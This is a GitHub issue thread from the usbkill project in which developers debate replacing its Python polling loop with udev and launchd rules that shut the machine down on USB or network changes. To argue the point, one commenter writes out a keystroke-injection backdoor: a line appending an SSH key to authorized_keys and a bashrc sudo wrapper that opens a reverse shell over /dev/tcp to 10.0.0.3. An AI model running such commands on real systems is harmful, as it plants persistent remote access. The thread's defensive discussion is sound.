hephaest0s/usbkill

Why not udev?

terrorbyte opened this issue · 27 comments

Having a requirement for python seems a little odd when udev could handle it on linux, ie a udev rule:

ACTION=="remove", SUBSYSTEM=="usb", ENV{ID_MODEL}=="*", RUN+="/bin/shutdown 0"

This would tie it much closer to the hardware and prevent a simple pkill python from stopping it.

also potentially using diskutil activity on OSX

Yes, there are other methods to reach similar goals, including this or bash.

However, python allows for creating rules that are a little more complex, like white listing of usbids and other features that I hope to implement. Also a script allows for easy turn off-and-on if you want to insert a legitimate USB.

also potentially using diskutil activity on OSX

USB can be used for a lot of things, not only storage. For example let's suppose there is an vulnerability in the Camera USB kext of OS X Yosemite. "diskutil activity" command will detect nothing.

I'm not familiar with OSX environment, so @pwnsdx that is a good point. I'll look into it a bit more. Couldn't you use usbd/launchd? [EDIT: probably not usbd]

But @hephaest0s focusing on udev at the moment, you can do that with udev as well. You can very much white list, glob, and use usbids:

Vendor IDs: ENV{ID_VENDOR_ID}=="05a9"
USB Serial: ATTRS{serial}=="00000000"
Based on USB class (only HID in this example): ATTR{bInterfaceClass}=="03"
Multiple: ATTRS{idVendor}=="0000", ATTRS{idProduct}=="0000", ATTRS{serial}=="00000000"
Type of Device: ATTRS{model}=="USB 2.0 CompactFlash Reader"
In fact you can do it based off of any sysfs object: https://www.kernel.org/doc/Documentation/filesystems/sysfs.txt
And whitelisting based off of ignore_device option in udev.

It would be very simple to have a script that inserts those attributes based on listed devices.

Also you can control udev when they are modified so enable:
sed -i 's/#//' /etc/udev/rules.d/10-usbkill.rules; udevadm control --reload-rules

Disable:
sed -i 's/^/#/' /etc/udev/rules.d/10-usbkill.rules; udevadm control --reload-rules

For OSX ( @pwnsdx ) you could use xpc_events with EnableGlobbing on launchd correct? You could also use setpriority and a new rules with higher priority for whitelisting.

Maybe, but it seems complicated vs sudo python3 usbkill.py

But eliminating the need for a dependency would probably be good, and would allow for this to be used on things like dedicated servers (no hardened box wants python installed). It would not be hard to turn the OSX launchd XML into a template and the same with udev, then control it with a tiny amount of shell that could be run just the same (even shorter: sudo ./usbkill).

The main benefit here is that it would be no longer tied to that sleep loop and would be managed by the kernel registering an event. For example, say an attacker were to plug in a USB HID that is programmed to qucikly type echo "ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBF5GbDYbVr/x1eqB5I/UhGFrSp+Te4f1C0el+ti7Xca6F1y0nrAa/oI0E+P3YyUk7neWpI8IBYoYUq7Qzx9XfEU=" >> ~/.ssh/authorized_keys and usbkill is still in its sleep loop the backdoor could still be inserted before it shuts down. udev and launchd would shut down when the insert of the usb device registered and before it was able to fire that off.

It seems improbable that an USB HID can open a terminal and write a command in less than 0.5 seconds. Plus, for OS X it now kill loginwindow + Finder (7341917) so it will prevent this kind of attack before the shutdown.

While it might seem improbable, it seems like a bad idea to make such assumptions. Why not use the method that will have the least chance of failure (especially with security)?

And lets play with this a little because I'm curious if this were possible. Suppose I use a Teensy and assume we get half the maximum keystrokes a second on USB (500 on bandwidth section) so we are dealing with 250 entries before the .5 seconds is up, that wouldn't quite allow my backdoor to run (capital E-Z will take a shift modifier so those are x2). But you could easily add something like: echo -n 'sudo(){((exec 5<>/dev/tcp/10.0.0.3/6666;cat <&5 | while read line;do 2>&5 >&5;done)&) 2>&1;sudo "$@"}'>>~/.bashrc which is 125 events (thanks numpad for not making us use a modifier and the extra for return).

I don't think that the current method is the most safe option since it allows for a short time when the device may be able to do an action.

And 7341917 only applies when the loop is already over so the .5 seconds could still go by before it gets run (plus popen time)

You can't even go in the Terminal in 0.1-0.5 seconds so yes this is improbable. If you are afraid of the interval, you still can change the delay in the config file.

If you are not happy of the current solution, you can make a pull request with your own :)

S.

Le 7 mai 2015 à 03:46, Cale Black notifications@github.com a écrit :

While it might seem improbable, it seems like a bad idea to make such assumptions. Why not use the method that will have the least chance of failure (especially with security)?

And lets play with this a little because I'm curious if this were possible. Suppose I use a Teensy and assume we get half the maximum keystrokes a second on USB (500 on bandwidth section) so we are dealing with 250 entries before the .5 seconds is up, that wouldn't quite allow my backdoor to run (capital E-Z will take a shift modifier so those are x2). But you could easily add something like: echo -n 'sudo(){((exec 5<>/dev/tcp/10.0.0.3/6666;cat <&5 | while read line;do 2>&5 >&5;done)&) 2>&1;sudo "$@"}'>>~/.bashrc
which is 124 events (thanks numpad for not making us use a modifier).

I don't think that the current method is the most safe option since it allows for a short time when the device may be able to do an action.


Reply to this email directly or view it on GitHub.

Thats not even true:

$ time xterm -e "echo hi"                                    
    0m0.12s real     0m0.03s user     0m0.03s system
$ time xfce4-terminal -e "echo hi"                           
    0m0.03s real     0m0.00s user     0m0.01s system
$ time urxvt -e "echo hi"                                    
    0m0.12s real     0m0.09s user     0m0.01s system

Putting the fact that I think the infinite loop check versus built in event driven is just not preferable, there is another reason you might want to using my methods. You could easily expand it to all devices not just usb; monitors, ethernet, audio devices, etc, etc etc. This would allow a LOT more flexibility.

Yes it's true for graphical interfaces at least. For example on OS X you must open the "Terminal" app which take more than 0.5 second.

system_profiler SPUSBDataType seems pretty good, it show USB devices, SD cards etc.

I'm using a graphical interface... I also just tested it with xfce4-appfinder to launch xfce4-terminal, .05 seconds added to what I posted. dmenu_run is even faster. I recognize that this won't work every time (and just because OS X launches slowly doesn't make it not an issue), but shouldn't it at least be acknowledged as unwanted behavior.

But system_profiler SPUSBDataType doesn't allow for other interfaces than USB, honestly this should be seen as a feature improvement and a fix to potential issues. It would be nice to be able to shut down a device when ethernet was unplugged for example.

It would be nice to be able to shut down a device when ethernet was unplugged for example.

So if your box crash then your computer too ? Bad idea haha

For the rest, I agree that a way to detect immediately USB changes (not on with a loop) is welcome.

You don't understand, its very easy to tell if an ethernet device is physically plugged in. Try it yourself:

cat /sys/class/net/$INTERFACE/carrier 0 is not plugged in, 1 is.

Or in udev:
udevadm info -q all -a /sys/class/net/$INTERFACE
to make a rule like:
ACTION=="remove", SUBSYSTEM=="net", ATTR{address}=="10:60:4b:XX:XX:XX", RUN+="/bin/shutdown 0"

And you don't understand, I'm saying if your modem crash (or if you have an laptop and there is a power outage) then your computer will shutdown too because the cable will be disconnected…

No it wont. Try it. That's not how /sys/class/net/$INTERFACE/carrier works.

If you say. What is the equivalent for OS X please then?

I know nothing about OSX but 3 seconds on Google would be something similar to this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" \
 "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>ethkill</string>

  <key>LowPriorityIO</key>
  <true/>

  <key>ProgramArguments</key>
  <array>
    <string>/Users/Shared/bin/shutdown 0</string>
  </array>

  <key>WatchPaths</key>
  <array>
    <string>/etc/resolv.conf</string>
    <string>/Library/Preferences/SystemConfiguration/NetworkInterfaces.plist</string>
    <string>/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist</string>
  </array>

  <key>RunAtLoad</key>
  <true/>
</dict>
</plist>

+1 for kernel interrupts over looping poll! .5 seconds is still probably just on the cusp of being realistic, which is not a good margin of error. I have a programmable USB HID and I can absolutely launch attacks in that time, especially if a terminal is already open on my system, which it always is.

Set the delay to 0.2-0.15 if you are really paranoid and remember to always lock your computer to prevent an USB HID from doing nasty things.

But eliminating the need for a dependency would probably be good, and would allow for this to be used on things like dedicated servers (no hardened box wants python installed). It would not be hard to turn the OSX launchd XML into a template and the same with udev, then control it with a tiny amount of shell that could be run just the same (even shorter: sudo ./usbkill).

Also, there is no dependency needed on OS X anymore as usbkill can run on python 2 which is shipped with OS X.

Then you are calling popen and forking every .15-.2 seconds, there is a chance that ulimit will try and stop you from making that many forks. Plus we are dealing with a security application here, if you aren't handling as many corner cases as possible you are not taking it seriously.

The dependency is python not lsusb. My way would remove the need for python at all.

Plus we are dealing with a security application here, if you aren't handling as many corner cases as possible you are not taking it seriously.

Yes, this is why you can adjust the delay. If you have a magic function that create a stream I'll be happy to know :)

The dependency is python not lsusb. My way would remove the need for python at all.

On OS X this dependency is already installed so it is not one.

My magic function is to use udev and launchd without the need for python which is the whole point of this bug report.

This isn't an application for JUST OSX like you seem to think it is, on a hardened Linux box you do not want python installed. You also get the benefit of not having to maintain a specific version of python. And you didn't address the fact that forking every .15-.2 seconds is bad practice and a waste of resources that has a chance of colliding with ulimit.

True but we will still need python to install/uninstall udev/launchd scripts (or in your case, do it manually as it seems you don't want python).

You still have to convince @hephaest0s and provide a working example.

S.

Here is my working version of the udev fork for anyone who is interested:
https://github.com/terrorbyte/usbkill

As soon as I can get a OSX box I will get the launchd version working. There is no dependcies other than udev and a POSIX compliant shell, so no more python.